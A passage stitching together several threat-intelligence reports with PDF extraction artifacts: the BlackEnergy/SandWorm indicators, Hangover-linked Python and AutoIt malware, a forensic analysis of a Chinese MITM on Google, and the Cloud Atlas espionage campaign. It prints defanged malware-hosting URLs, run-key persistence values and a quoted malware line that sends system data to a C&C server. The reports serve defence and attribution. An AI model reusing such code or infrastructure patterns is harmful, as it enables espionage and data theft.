killint.tcl fragment +The script tries to download ciscoapi.tcl from a certain FTP server which served as a storage for BE2 files. +The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang +deleted them, and unfortunately couldn't restore them after they were deleted. The BE2 actor performs +careful, professional activity covering their tracks: +ciscoapi.tcl +killint.tcl +telnetapi2.tcl +telnetu.tcl +stub.tcl +stub1.tcl +There is evidence that the logs produced by some scripts were also stored on the FTP server, in particular +the information on CDP neighbors which is provided by one of the procedures of ciscoapi.tcl. +Victim #3 +The third organization got compromised by the same type of attack as the first one (an EXE file spoofing a +doc within a Zip archive). All the plugins discovered in BE2 files were known, and there was no revelation +of hacked network devices on their side and no destroyed data. The noticeable thing is that many +computers contained both BE2 and BE3 files and some config files contained the following URL: +hxxps://46.165.222(dot)28/upgrade/f3395cd54cf857ddf8f2056768ff49ae/getcfg.php +The URL contains the md5 of the string 'router'. One of the discovered config files contained a URL with +an as yet unidentified md5: +hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php +Victim set #4 +A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible +for downloading and executing BlackEnergy. Starting in March 2014 and ending in July 2014, Siemens +"ccprojectmgr.exe" downloaded and executed a handful of different payloads hosted +at 94.185.85.122/favicon.ico. They are all detected as variants of "Backdoor.Win32.Blakken". +Build IDs +Each config file within BE2 main.dll has a field called build_id which identifies the malware version for +the operators. Currently this particular BE/SandWorm gang uses a certain pattern for the build ids +containing three hex numbers and three letters, as follows: +0C0703hji +The numbers indicate the date of file creation in the format: Year-Month-Day. Still, the purpose of the +letters is unknown, but most likely it indicates the targets. The hex numbers weren't used all the time, +sometimes we observed decimal numbers: +100914_mg +100929nrT +Most interesting for us was the earliest build id we could find. Currently it is "OB020Ad0V", meaning that +the BE2/SandWorm APT started operating as early as the beginning of 2010. +Appendix: IoC +While BE dropper installs its driver under a randomly picked non-used Windows driver name, like +%system32%\drivers\AliIde.sys. The driver is self-signed on 64-bit systems +However, new "APT" BE2 uses one of the following filenames that are used as an encrypted storage for +plugins and the network settings. They are consistent and serve as stable IoC: +%system32%\drivers\winntd_.dat +%system32%\drivers\winntd.dat +%system32%\drivers\wincache.dat +%system32%\drivers\mlang.dat +%system32%\drivers\osver32nt.dat +%LOCALAPPDATA%\adobe\wind002.dat +%LOCALAPPDATA%\adobe\settings.sol +%LOCALAPPDATA%\adobe\winver.dat +%LOCALAPPDATA%\adobe\cache.dat +BE2 also uses start menu locations for persistence: +Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\flashplayerapp.exe +BE3 uses the following known filenames: +%USERPROFILE%\NTUSER.LOG %LOCALAPPDATA%\FONTCACHE.DAT +BE2 MD5s: +d57ccbb25882b16198a0f43285dafbb4 +7740a9e5e3feecd3b7274f929d37bccf +948cd0bf83a670c05401c8b67d2eb310 +f2be8c6c62be8f459d4bb7c2eb9b9d5e +26a10fa32d0d7216c8946c8d83dd3787 +8c51ba91d26dd34cf7a223eaa38bfb03 +c69bfd68107ced6e08fa22f72761a869 +3cd7b0d0d256d8ff8c962f1155d7ab64 +298b9a6b1093e037e65da31f9ac1a807 +d009c50875879bd2aefab3fa1e20be09 +88b3f0ef8c80a333c7f68d9b45472b88 +17b00de1c61d887b7625642bad9af954 +27eddda79c79ab226b9b24005e2e9b6c +48937e732d0d11e99c68895ac8578374 +82418d99339bf9ff69875a649238ac18 +f9dcb0638c8c2f979233b29348d18447 +72372ffac0ee73dc8b6d237878e119c1 +c229a7d86a9e9a970d18c33e560f3dfc +ef618bd99411f11d0aa5b67d1173ccdf +383c07e3957fd39c3d0557c6df615a1a +105586891deb04ac08d57083bf218f93 +1deea42a0543ce1beeeeeef1ffb801e5 +7d1e1ec1b1b0a82bd0029e8391b0b530 +1f751bf5039f771006b41bdc24bfadd3 +d10734a4b3682a773e5b6739b86d9b88 +632bba51133284f9efe91ce126eda12d +a22e08e643ef76648bec55ced182d2fe +04565d1a290d61474510dd728f9b5aae +3c1bc5680bf93094c3ffa913c12e528b +6a03d22a958d3d774ac5437e04361552 +0217eb80de0e649f199a657aebba73aa +79cec7edf058af6e6455db5b06ccbc6e +f8453697521766d2423469b53a233ca7 +8a449de07bd54912d85e7da22474d3a9 +3f9dc60445eceb4d5420bb09b9e03fbf +8f459ae20291f2721244465aa6a6f7b9 +4b323d4320efa67315a76be2d77a0c83 +035848a0e6ad6ee65a25be3483af86f2 +90d8e7a92284789d2e15ded22d34ccc3 +edb324467f6d36c7f49def27af5953a5 +c1e7368eda5aa7b09e6812569ebd4242 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+6bbc54fb91a1d1df51d2af379c3b1102 +8b152fc5885cb4629f802543993f32a1 +6d1187f554040a072982ab4e6b329d14 +3bfe642e752263a1e2fe22cbb243de57 +c629933d129c5290403e9fce8d713797 +1c62b3d0eb64b1511e0151aa6edce484 +811fcbadd31bccf4268653f9668c1540 +0a89949a3a933f944d0ce4c0a0c57735 +a0f594802fbeb5851ba40095f7d3dbd1 +bf6ce6d90535022fb6c95ac9dafcb5a5 +df84ff928709401c8ad44f322ec91392 +fda6f18cf72e479570e8205b0103a0d3 +39835e790f8d9421d0a6279398bb76dc +fe6295c647e40f8481a16a14c1dfb222 +592c5fbf99565374e9c20cade9ac38aa +ad8dc222a258d11de8798702e52366aa +bc21639bf4d12e9b01c0d762a3ffb15e +3122353bdd756626f2dc95ed3254f8bf +e02d19f07f61d73fb6dd5f7d06e9f8d2 +d2c7bf274edb2045bc5662e559a33942 +ac1a265be63be7122b94c63aabcc9a66 +e06c27e3a436537a9028fdafc426f58e +6cf2302e129911079a316cf73a4d010f +38b6ad30940ddfe684dad7a10aea1d82 +f190cda937984779b87169f35e459c3a +698a41c92226f8e444f9ca7647c8068c +bc95b3d795a0c28ea4f57eafcab8b5bb +82127dc2513694a151cbe1a296258850 +d387a5e232ed08966381eb2515caa8e1 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+715e9e60be5a9b32075189cb04a0247e +3835c8168d66104eed16c2cd99952045 +f32c29a620d72ec0a435982d7a69f683 +95e9162456d933fff9560bee3c270c4e +da01ef50673f419cf06b106546d06b50 +2dd4c551eacce0aaffedf4e00e0d03de +34f80f228f8509a67970f6062075e211 +81ca7526881a0a41b6721048d2f20874 +d642c73d0577dd087a02069d46f68dac +BE3 MD5s: +f0ebb6105c0981fdd15888122355398c +7cb6363699c5fd683187e24b35dd303e +4d5c00bddc8ea6bfa9604b078d686d45 +f37b67705d238a7c2dfcdd7ae3c6dfaa +46649163c659cba8a7d0d4075329efa3 +628ef31852e91895d601290ce44650b1 +723eb7a18f4699c892bc21bba27a6a1a +8b9f4eade3a0a650af628b1b26205ba3 +f6c47fcc66ed7c3022605748cb5d66c6 +6c1996c00448ec3a809b86357355d8f9 +faab06832712f6d877baacfe1f96fe15 +2c72ef155c77b306184fa940a2de3844 +2e62e8949d123722ec9998d245bc1966 +b0dc4c3402e7999d733fa2b668371ade +93fa40bd637868a271002a17e6dbd93b +f98abf80598fd89dada12c6db48e3051 +8a7c30a7a105bd62ee71214d268865e3 +2f6582797bbc34e4df47ac25e363571d +81d127dd7957e172feb88843fe2f8dc1 +3e25544414030c961c196cea36ed899d +Previous and Parallel Research +Botnet History Illustrated by BlackEnergy 2, PH Days, Kaspersky Lab - Maria Garnaeva and Sergey +Lozhkin, May 2014 +BlackEnergy and Quedagh (pdf), F-Secure, September 2014 +Sandworm, iSIGHT Partners, October 2014 +Alert (ICS-ALERT-14-281-01A) Ongoing Sophisticated Malware Campaign Compromising ICS (Update +A), ICS-CERT, October 2014 +Snake In The Grass: Python-based Malware Used For Targeted +Attacks +bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks +Researchers at Blue Coat Systems have identified an intelligence-gathering campaign related to the +Hangover operation detailed in 2013. The targets of this operation appear to be Pakistani and presumably +represent military interests. +The malware used for this is very simple, but uses a little used format. Instead of the programming languages most +commonly used for malware creation, the actors have turned to using Python, a powerful scripting language. The +scripts were found embedded inside regular executable files designed to run Python scripts without having to install +the full Python package. +The inclusion of malicious scripting code in relatively mainstream installers is probably done to avoid antivirus +detections, and regular AV detection rates on these executables tend to be quite low. However, BlueCoat Malware +Analysis Appliance proactively detects these malwares with a high risk score. +Several indicators point towards the same attackers as were detailed in the Norman Shark (now part of Blue Coat +Systems) Hangover report from last year. This campaign is not the first sign of life from these actors after we +published our report + there have been several smaller initiatives during the autumn of 2013. +Initial malware +The initial installers of this campaign were discovered due to behavior similarities with previous Hangover-related +malware. These appear to have been prepared for email distribution or possibly for web download. Four such +installers were identified; files with the MD5 hash of: +0392fb51816dd9583f9cb206a2cf02d9, (original name Brief DG Arty-8 30 Aug.scr ) +e6d9fce2c6e766b0899ac2e1691b8097, (original name Debriefing Indian Missile Def Prg.scr) +e013691e702778fa6dbc35b15555c3c2, (original name HQ Div Sp Eqs 21 Dec 2013 final.scr ) +9d299d3a074f2809985e0317b9c461eb, (original name HQ 19 div CTGY PLAN-Offn Objs.scr ) +These are all self-extracting archives (WinRAR SFX RAR and SFX ZIP), which again contain lure documents and a +malicious Python installer. +0392fb51816dd9583f9cb206a2cf02d9: +These files are all created using the PyInstaller tool. The +archive-viewer.py + Python script provided with the +PyInstaller package can be used to examine these installers: +1/10 +Most of the objects in these packages are legitimate libraries and components required by the installer itself. The +highlighted +send + object is where the malicious Python script resides. +And, as Python is a human-readable format, this makes analysis straightforward: +Python function made for testing connection to Command & Control servers. Note how worldvoicetrip[.]com can +supply a new C&C server ( +code4 +) in domain.html. +There are two main functionalities for these scripts: +Harvest system information using existing system tools like systeminfo.exe. This information is attempted +uploaded to Command & Control (C&C) server. +2/10 +Download and execute more malicious executables. +Decoy documents +The documents accompanying the malware executables seem all related to Indian military matters. The excerpt +below is labeled confidential; however the text is taken from a publicly available source at armscontrol.org. +(https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances) +This document contains references to Artillery Firing Data Computing Devices (AFDCD +s), which are given to be +Casio FX-750 and Casio FX-880-P. However, these are models of handheld calculators from 30 years ago. They +are not used for military purposes today. +At least, I hope not. +Case expansion +3/10 +Case expansion is the process of mapping out connections with other cases and malwares to understand the larger +threat picture. This gives information about +what activities are ongoing +against whom +using what tools +and how to mitigate +This process involves multiple iterations of pivoting by a great deal of possible parameters + similarities in malware, +similarities in network traffic, various domain registration and hosting information, passive DNS data etc. +We begin with the beginning + what we can learn from the initial malware files. +Command & Control + hosted malware +As shown previously, the C&C servers used in these malwares were: +games-playbox[.]com +worldvoicetrip[.]com +The latter server was down by the time we noticed the malware, but games-playbox[.]com still resolved to the IP +176.56.238.177, belonging to AS198203 ASN-ROUTELABEL RouteLabel V.O.F. in the Netherlands. Internal and +public databases show that this server has been hosting malware for download: +hxxp://games-playbox[.]com/testing1/download/reg.exe +hxxp://176.56.238.177/testing2/download/reg.exe +hxxp://176.56.238.177/testing2/download/reg1.exe +hxxp://176.56.238.177/testing4/download/reg.exe +hxxp://176.56.238.177/testing2/download/winrm.exe +hxxp://176.56.238.177/testing2/download/sppsvc.exe +hxxp://games-playbox[.]com/winone1/download/stisvc.exe +hxxp://games-playbox[.]com/winone1/download/sppsvc.exe +Brute force testing showed that at least subfolders winone2, winone3 and winone4 contained similar content as +winone1. +reg.exe, reg1.exe: +These are MINGW32 C++ (not Python) executables which have only one function + to insert a registry key that +allows other malware to be run on startup. For example, the executable reg.exe +(05dc62dcd4ddc9f2a79c5d23647c25c2) creates the key: +HKCU\Software\Microsoft\Windows\CurrentVersion\Run Search=C:\dir2\CscService.exe +This separation of functions is likely done to avoid detection logic that triggers on software that inserts itself into such +run keys. +winrm.exe, stisvc.exe: +4/10 +This executable is a data stealer, which enumerates folders and harvests files of format doc, xls, ppt, pps, inp, pdf, +xlsx, docx, pptx. +sppsvc.exe: +This is a keylogger, which hooks keyboard and mouse events. +In connection with these findings we found that the same Python functionality was sometimes embedded in +executable files of a slightly different format + namely py2exe. These files have a different internal structure than +PyInstallers, but the embedded scripts can be extracted and decoded using the Python module uncompyle2. +Passive DNS analysis shows that games-playbox[.]com has shared IP address with other suspicious domains: +Rdata results for ANY/176.56.238.177 +techto-earth[.]com. +games-playbox[.]com. +download-mgrwin[.]com. +176.56.238.177 +176.56.238.177 +176.56.238.177 +Indeed, techto-earth[.]com shows up in Google with an entry on the URL checking service URLQuery[.]net. +5/10 +This download link (hxxp://techto-earth[.]com/eastwing/download/sppsvc.exe) was at the point of writing live, and the +downloaded executable (md5 c571b77469ad3c5ef336860605ee85c6) was verified as a PyInstaller-based malware. +Brute force attempts showed that this folder also contained stisvc.exe (md5 f2a1ca02bf4a63a3d4a6c6464f5a925b) +and reg.exe; these have same functionality as the identically named executables found on games-playbox[.]com. +The techto-earth[.]com domain now resolved to the IP address 81.4.125.90, similarly belonging to the Dutch +provider RouteLabel. +The domain download-mgrwin[.]com which shared the IP 81.4.125.90 with techto-earth[.]com was also found to +host similar malware: +hxxp://download-mgrwin[.]com/southside/download1/stisvc.exe +md5 6ec82e9eccb9bee050c9f7f2750d0c7c +hxxp://download-mgrwin[.]com/southside/download1/sppsvc.exe +md5 acfada8e91eda6cca2da66bbb032d924 +hxxp://download-mgrwin[.]com/eastside/download/sppsvc.exe +md5 6dc9eee24f8d5cba1ca3919b87507d86 +Nick Agroyes +Domain registration information is useful for connecting cases. Though often falsified, reuse of the same registrant +information is common, thus providing a way of linking different domains. +download-mgrwin[.]com was registered on the email address info@communication-principals[.]com, purportedly +belonging to one Nick Agroyes: +This is a faked record, but the same address was used to register other domains of which some have been +documented used by malware - alertmymailsnotify[.]com, communication-principals[.]com, +servicesprocessing[.]com and websourceing[.]com. +communication-principals[.]com: md5: 664f32f06dd7bd8c94df6edfcf6285da +This is an exploited RTF file leveraging the CVE-2012-0158 RTF vulnerability which downloads a file from +hxxp://communication-principals[.]com/vargualm12/putty.exe +servicesprocessing[.]com: +6/10 +VirusTotal shows a number of links to malicious executables on this domain. +hxxp://servicesprocessing[.]com/naspckn/plugins/wsutils.exe +hxxp://servicesprocessing[.]com/naspckn/plugins/shlwapi.exe +hxxp://servicesprocessing[.]com/panomasi/plugins/shlwapi.exe : md5 eeaf96b1988c7016780c0d91ce2451c8 +hxxp://servicesprocessing[.]com/panomasi/plugins/wsutils.exe : md5 4a9a912a8610495029ef3df813272d8a +Other registrants +The file 4a9a912a8610495029ef3df813272d8a has also been hosted elsewhere, on alertmymail[.]com: +hxxp://alertmymail[.]com/lotopoto07/plugins/wsutils.exe +This domain is registered on the registrant sakanika@rediffmail[.]com. Other domains owned by this entity are +necessaries-documentation[.]com and accountsloginmail-process[.]com which show pDNS overlap with the +previously mentioned malicious domains. +Passive DNS investigation and malware hosting data shows additional overlaps with the domains +newsfairprocessing[.]com and manufacturing-minds[.]com. These domains were registered to the registrant +tomhanks542@gmail[.]com. +Malware referenced in relation to these domains is for example: +md5: 6f9f2e57eb06c5385f7e9370a71aa34b. This is a MINGW C++ keylogger, hosted at: +hxxp://newsfairprocessing[.]com/imopo99/plugins/rpcapd.exe +hxxp://necessaries-documentation[.]com/khtergf5541/plugins/rpcapd.exe +AutoIt +Though many of the malwares we have examined in this campaign were based on Python, a number of similar +malware files were found to be based on a different scripting language + AutoIt. One such malware is known under +the family name Emupry or AutoIt/Emupry. +The executable file +Quetta_Killings_Footage.exe + (md5 387947d5891aeb2c32f231e9abadfcec) connects to the +known malicious domain communication-principals[.]com. When the AutoIt script is extracted we see that important +variables are base64-encoded. For clarity, these have shown inline as comments below: +7/10 +Very similar AutoIt malware was found for the following C&C servers (domains in bold were documented in the +original Hangover report): +C&C domain +8c18852f79f14880ed9bd1d3be2fa48c +ddd6b9bef4d37b43484d1a0eab4753c6 +99f7cb87a4acbbd2aed2c4e860cd0f5a +04af2e8a7a1e934ab2000d701948a657 +1f72e19999d56a11cd564d1f7b0652e7 +2683e1d77b20e7aa75ade640ddb522d6 +6d6fe7d36e1c43aab534644378d56dfb +14a11b125f32a5a5773c23021ac4c1a1 +84e2d98e4b3272b953b63d2021735fd3 +fcccf9cb698297bb686561e7af7dad94 +f0ef59265610dedab40f8386af79f861 +alertmymail[.]com +alertmymail[.]com +necessaries-documentation[.]com +newsfairprocessing[.]com +onestop-shops[.]com +onestop-shops[.]com +westdelsys[.]com +manufacturing-minds[.]com +cloudone-opsource[.]com +servicesprocessing[.]com +knight-quest[.]com +HTTP request format +Note the form of the HTTP requests used by this AutoIt malware: http://server/folder/online.php?sysname=. +The Python malware we mentioned first in this article constructed identical requests: +dfiles5 = urlopen("http://"+ getserver + foldername+ "/online.php?sysname="+cname+"") +This request form was used in a number of Hangover-related cases as well. Given the similarities in methodology +and targeting we consider it highly likely that the current attack malware and the Hangover infrastructures are +related. It points towards the use of the same backend infrastructure, designed to control different types of malware. +8/10 +Above: Infrastructure map. +Conclusion +This is an operation of far smaller scope than the original Hangover infrastructure; but as more capacity is rebuilt this +might grow. We will keep an eye on what happens in this space. +It is noteworthy that they have adopted the use of scripting langauages for this type of data theft; scripts are easy to +maintain even by novice programmers. +Indicators: Domains +accountsloginmail-process[.]com +alertmymail[.]com +alertmymailsnotify[.]com +cloudone-opsource[.]com +communication-principals[.]com +devilcreator[.]com +download-mgrwin[.]com +games-playbox[.]com +knight-quest[.]com +manufacturing-minds[.]com +necessaries-documentation[.]com +newsfairprocessing[.]com +onestop-shops[.]com +servicesloginmail-process[.]com +servicesprocessing[.]com +techto-earth[.]com +websourceing[.]com +westdelsys[.]com +worldvoicetrip[.]com +Indicators: IP addresses +9/10 +176.56.238.177 +213.229.64.222 +37.59.175.131 +46.32.235.162 +81.4.125.90 +Indicators: Malware MD5 +04af2e8a7a1e934ab2000d701948a657 +14a11b125f32a5a5773c23021ac4c1a1 +1f72e19999d56a11cd564d1f7b0652e7 +2683e1d77b20e7aa75ade640ddb522d6 +387947d5891aeb2c32f231e9abadfcec +6d6fe7d36e1c43aab534644378d56dfb +84e2d98e4b3272b953b63d2021735fd3 +8c18852f79f14880ed9bd1d3be2fa48c +99f7cb87a4acbbd2aed2c4e860cd0f5a +a8bc0a09b5ee1e9ff40eac10ba0d43ed +ddd6b9bef4d37b43484d1a0eab4753c6 +f0ef59265610dedab40f8386af79f861 +fcccf9cb698297bb686561e7af7dad94 +05dc62dcd4ddc9f2a79c5d23647c25c2 +349583df5921e3d9fca9d4864072f6ca +6f9f2e57eb06c5385f7e9370a71aa34b +8dbadff3529ca03b8d453a7c9aaf3c6c +a24137ea1a87b89f24ecaa0b9cb5382a +dedb56941cfaf1a650e38ba2b43c8e2b +0392fb51816dd9583f9cb206a2cf02d9 +6ec82e9eccb9bee050c9f7f2750d0c7c +9d299d3a074f2809985e0317b9c461eb +acfada8e91eda6cca2da66bbb032d924 +c571b77469ad3c5ef336860605ee85c6 +e013691e702778fa6dbc35b15555c3c2 +e6d9fce2c6e766b0899ac2e1691b8097 +f2a1ca02bf4a63a3d4a6c6464f5a925b +0739e1aea8c2928b9d1b3bcd145e0bcb +4a9a912a8610495029ef3df813272d8a +eeaf96b1988c7016780c0d91ce2451c8 +f5d4664a607386c342fdd3358ea38962 +f68eb7db21cd8abf5f60b16ca6c6a5e7 +664f32f06dd7bd8c94df6edfcf6285da +6dc9eee24f8d5cba1ca3919b87507d86 +Passive DNS data used for this article were provided by Farsight Security, Inc. +10/10 +Analysis of Chinese MITM on Google +Thursday, 04 September 2014 23:55:00 (UTC/GMT) +The Chinese are running a MITM attack on SSL encrypted traffic between Chinese universities and +Google. We've performed technical analysis of the attack, on request from GreatFire.org, and can +confirm that it is a real SSL MITM against www.google.com and that it is being performed from within +China. +We were contacted by GreatFire.org yesterday (September 3) with a request to analyze two packet +captures from suspected MITM-attacks before they finalized their blog post. The conclusions from our +analysis is now published as part of GreatFire.org's great blog post titled +Authorities launch man-in-themiddle attack on Google +In their blog post GreatFire.org write: +From August 28, 2014 reports appeared on Weibo and Google Plus that users in China trying to +access google.com and google.com.hk via CERNET, the country +s education network, were +receiving warning messages about invalid SSL certificates. The evidence, which we include later +in this post, indicates that this was caused by a man-in-the-middle attack. +While the authorities have been blocking access to most things Google since June 4th, they have +kept their hands off of CERNET, China +s nationwide education and research network. However, +in the lead up to the new school year, the Chinese authorities launched a man-in-the-middle +(MITM) attack against Google. +Our network forensic analysis was performed by investigating the following to packet capture files: +Capture Location +Client +Netname +Capture +Date +Filename +aba4b35cb85ed218 +7a8a7656cd670a93 +3bf943ea453f9afa +google_fake.pcapng +5c06b9c126d79557 +Peking University +PKU6-CERNET2 Aug 30, 2014 google.com.pcap +Chongqing +University +CQU6-CERNET2 Sep 1, 2014 +Client and Server IP adresses +The analyzed capture files contain pure IPv6 traffic (CERNET is a IPv6 network) which made the analysis +a bit different then usual. We do not disclose the client IP addresses for privacy reasons, but they both +seem legit; one from Peking University (netname PKU6-CERNET2) and the other from Chongqing +University (CQU6-CERNET2). Both IP addresses belong to AS23910, named "China Next Generation +Internet CERNET2". +Peking University entrance, by galaygobi (Creative Commons Attribution 2.0) +Chongqing University gate, by Brooktse (Creative Commons Attribution-Share Alike 3.0) +The IP addresses received for www.google.com were in both cases also legit, so the MITM wasn't carried +out through DNS spoofing. The Peking University client connected to 2607:f8b0:4007:804::1013 +(GOOGLE-IPV6 in United States) and the connection from Chongqing University went to +2404:6800:4005:805::1010 (GOOGLE_IPV6_AP-20080930 in Australia). +Time-To-Live (TTL) Analysis +The Time-To-Live (TTL) values received in the IP packets from www.google.com were in both cases 248 or +249 (note: TTL is actually called +Hop Limit + in IPv6 nomenclature, but we prefer to use the well +established term + anyway). The highest possible TTL value is 255, this means that the received +packets haven't made more than 6 or 7 router hops before ending up at the client. However, the expected +number of router hops between a server on GOOGLE-IPV6 and the client at Peking University is around +14. The low number of router hops is is a clear indication of an IP MITM taking place. +CapLoader with both capture files loaded, showing TTL values +Here is an IPv6 traceroute from AS25795 in Los Angeles towards the IP address at Peking University +(generated with ARP Networks' 4or6.com tool): +#traceroute -6 2001:da8:[REDACTED] +1 2607:f2f8:1600::1 (2607:f2f8:1600::1) 1.636 ms 1.573 ms 1.557 ms +2 2001:504:13::1a (2001:504:13::1a) 40.381 ms 40.481 ms 40.565 ms +3 *** +4 2001:252:0:302::1 (2001:252:0:302::1) 148.409 ms 148.501 ms 148.595 ms +5 *** +6 2001:252:0:1::1 (2001:252:0:1::1) 148.273 ms 147.620 ms 147.596 ms +7 pku-bj-v6.cernet2.net (2001:da8:1:1b::2) 147.574 ms 147.619 ms 147.420 ms +8 2001:da8:1:50d::2 (2001:da8:1:50d::2) 148.582 ms 148.670 ms 148.979 ms +9 cernet2.net (2001:da8:ac:ffff::2) 147.963 ms 147.956 ms 147.988 ms +10 2001:da8:[REDACTED] 147.964 ms 148.035 ms 147.895 ms +11 2001:da8:[REDACTED] 147.832 ms 147.881 ms 147.836 ms +12 2001:da8:[REDACTED] 147.809 ms 147.707 ms 147.899 ms +As can be seen in the traceroute above, seven hops before the client we find the 2001:252::/32 network, +which is called +CNGI International Gateway Network (CNGIIGN) +. This network is actually part of +CERNET, but on AS23911, which is the network that connects CERNET with its external peers. A +reasonable assumption is therefore that the MITM is carried out on the 2001:252::/32 network, or where +AS23910 (2001:da8:1::2) connects to AS23911 (2001:252:0:1::1). This means that the MITM attack is +being conducted from within China. +Response Time Analysis +The round-trip time between the client and server can be estimated by measuring the time from when the +client sends it initial TCP SYN packet to when it receives a TCP SYN+ACK from the server. The expected +round-trip time for connecting from CERNET to a Google server overseas would be around 150ms or +more. However, in the captures we've analyzed the TCP SYN+ACK package was received in just 8ms +(Peking) and 52ms (Chongqing) respectively. Again, this is a clear indication of an IP MITM taking place, +since Google cannot possibly send a response from the US to CERNET within 8ms regardless of how fast +they are. The fast response times also indicate that the machine performing the MITM is located fairly +close to the network at Peking University. +Even though the machine performing the MITM was very quick at performing the TCP tree-way +handshake we noticed that the application layer communication was terribly slow. The specification for +the TLS handshake (RFC 2246) defines that a ClientHello message should be responded to with a +ServerHello. Google typically send their ServerHello response almost instantly, i.e. the response is +received after one round-trip time (150ms in this case). However, in the analyzed captures we noticed +ServerHello response times of around 500ms. +X.509 Certificate analysis +We extracted the X.509 certificates from the two capture files to .cer files using NetworkMiner. We +noticed that both users received identical certificates, which were both self signed for +google.com +. The +fact that the MITM used a self signed certificate makes the attack easily detectable even for the nontechnical user, since the web browser will typically display a warning about the site not being trusted. +Additionally the X.509 certificate was created for +google.com + rather than +*.google.com +. This is an +obvious miss from the MITM'ers side since they were attempting to MITM traffic to +www.google.com +but not to +google.com +NetworkMiner showing list of X.509 certificates extracted from the two PCAP files +Certificate SHA1 fingerprint: f6beadb9bc02e0a152d71c318739cdecfc1c085d +Certificate MD5 fingerprint: 66:D5:D5:6A:E9:28:51:7C:03:53:C5:E1:33:14:A8:3B +A copy of the fake certificate is available on Google drive thanks to GreatFire.org. +Conclusions +All evidence indicates that a MITM attack is being conducted against traffic between China +s nationwide +education and research network CERNET and www.google.com. It looks as if the MITM is carried out on a +network belonging to AS23911, which is the outer part of CERNET that peers with all external networks. +This network is located in China, so we can conclude that the MITM was being done within the country. +It's difficult to say exactly how the MITM attack was carried out, but we can dismiss DNS spoofing as the +used method. The evidence we've observed instead indicate that the MITM attack is performed either by +performing IP hijacking or by simply reconfiguring a router to forward the HTTPS traffic to a transparent +SSL proxy. An alternative to changing the router config would also be to add an in-line device that +redirects the desired traffic to the SSL proxy. However, regardless of how they did it the attacker would be +able to decrypt and inspect the traffic going to Google. +We can also conclude that the method used to perform the MITM attack was similar to the Chinese MITM +on GitHub, but not identical. +Share | +Short URL: http://netresec.com/?b=14955CB +Posted by Erik Hjelmvik on Thursday, 04 September 2014 23:55:00 (UTC/GMT) +Cloud Atlas: RedOctober APT is back in style +Two years ago, we published our research into RedOctober, a complex cyber-espionage operation +targeting diplomatic embassies worldwide. We named it RedOctober because we started this investigation +in October 2012, an unusually hot month. +After our announcement in January 2013, the RedOctober operation was promptly shut down and the +network of C&Cs was dismantled. As usually happens with these big operations, considering the huge +investment and number of resources behind it, they don't just "go away" forever. Normally, the group goes +underground for a few months, redesigns the tools and the malware and resume operations. +See: +RedOctober Part 1 +RedOctober Part 2 +Since January 2013, we've been on the lookout for a possible RedOctober comeback. One possible hit was +triggered when we observed Mevade, an unusual piece of malware that appeared late in 2013. The Mevade +C&C name styles as well as some other technical similarities indicated a connection to RedOctober, but the +link was weak. It wasn't until August 2014 that we observed something which made us wonder if +RedOctober is back for good. +Meet Cloud Atlas +In August 2014, some of our users observed targeted attacks with a variation of CVE-2012-0158 and an +unusual set of malware. We did a quick analysis of the malware and it immediately stood out because of +certain unusual things that are not very common in the APT world. +Some of the filenames used in the attacks included: +FT - Ukraine Russia's new art of war.doc +.doc +Diplomatic Car for Sale.doc +.doc +Organigrama Gobierno Rusia.doc +.doc +.doc + (25-26.09.14).doc +.doc +.doc +.doc +Car for sale.doc +Af-Pak and Central Asia's security issues.doc +At least one of them immediately reminded us of RedOctober, which used a very similarly named +spearphish: "Diplomatic Car for Sale.doc". As we started digging into the operation, more details emerged +which supported this theory. +Perhaps the most unusual fact was that the Microsoft Office exploit didn't directly write a Windows PE +backdoor on disk. Instead, it writes an encrypted Visual Basic Script and runs it. +Cloud Atlas exploit payload - VBScript +This VBScript drops a pair of files on disk - a loader and an encrypted payload. The loader appears to be +different every time and internal strings indicate it is "polymorphically" generated. The payload is always +encrypted with a unique key, making it impossible to decrypt unless the DLL is available. +We observed several different spear-phishing documents that drop uniquely named payloads. For +instance, the "qPd0aKJu.vbs" file MD5: +E211C2BAD9A83A6A4247EC3959E2A730 drops the following files: +DECF56296C50BD3AE10A49747573A346 - bicorporate - encrypted payload +D171DB37EF28F42740644F4028BCF727 - ctfmonrn.dll - loader +The VBS also adds a registry key: +HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the +key "bookstore" to the value "regsvr32 %path%\ctfmonrn.dll /s", which ensures the malware runs every +time at system boot. +Some of the DLL names we observed include: +f4e15c1c2c95c651423dbb4cbe6c8fd5 - bicorporate.dll +649ff144aea6796679f8f9a1e9f51479 - fundamentive.dll +40e70f7f5d9cb1a669f8d8f306113485 - papersaving.dll +58db8f33a9cdd321d9525d1e68c06456 - previliges.dll +f5476728deb53fe2fa98e6a33577a9da - steinheimman.dll +Some of the payload names include: +steinheimman +papersaving +previliges +fundamentive +bicorporate +miditiming +damnatorily +munnopsis +arzner +redtailed +roodgoose +acholias +salefians +wartworts +frequencyuse +nonmagyar +shebir +getgoing +The payload includes an encrypted configuration block which contains information about the C&C sever: +The information from the config includes a WebDAV URL which is used for connections, a username and +password, two folders on the WebDAV server used to store plugins/modules for the malware and where +data from the victim should be uploaded. +C&C communication +The Cloud Atlas implants utilize a rather unusual C&C mechanism. All the malware samples we've seen +communicate via HTTPS and WebDav with the same server "cloudme.com", a cloud services provider. +According to their website, CloudMe is owned and operated by CloudMe AB, a company based in +Link +ping, Sweden. +(Important note: we do not believe that CloudMe is in any way related to the Cloud Atlas group - the +attackers simply create free accounts on this provider and abuse them for command-and-control). +Each malware set we have observed so far communicates with a different CloudMe account though. The +attackers upload data to the account, which is downloaded by the implant, decrypted and interpreted. In +turn, the malware uploads the replies back to the server via the same mechanism. Of course, it should be +possible to reconfigure the malware to use any Cloud-based storage service that supports WebDAV. +Here's a look at one such account from CloudMe: +The data from the account: +The files stored in the randomly named folder were uploaded by the malware and contain various things, +such as system information, running processes and current username. The data is compressed with LZMA +and encrypted with AES, however, the keys are stored in the malware body which makes it possible to +decrypt the information from the C&C. +We previously observed only one other group using a similar method + ItaDuke + that connected to +accounts on the cloud provider mydrive.ch. +Victim statistics: top 5 infected countries +Similarities with RedOctober +Just like with RedOctober, the top target of Cloud Atlas is Russia, followed closely by Kazakhstan, +according to data from the Kaspersky Security Network (KSN). 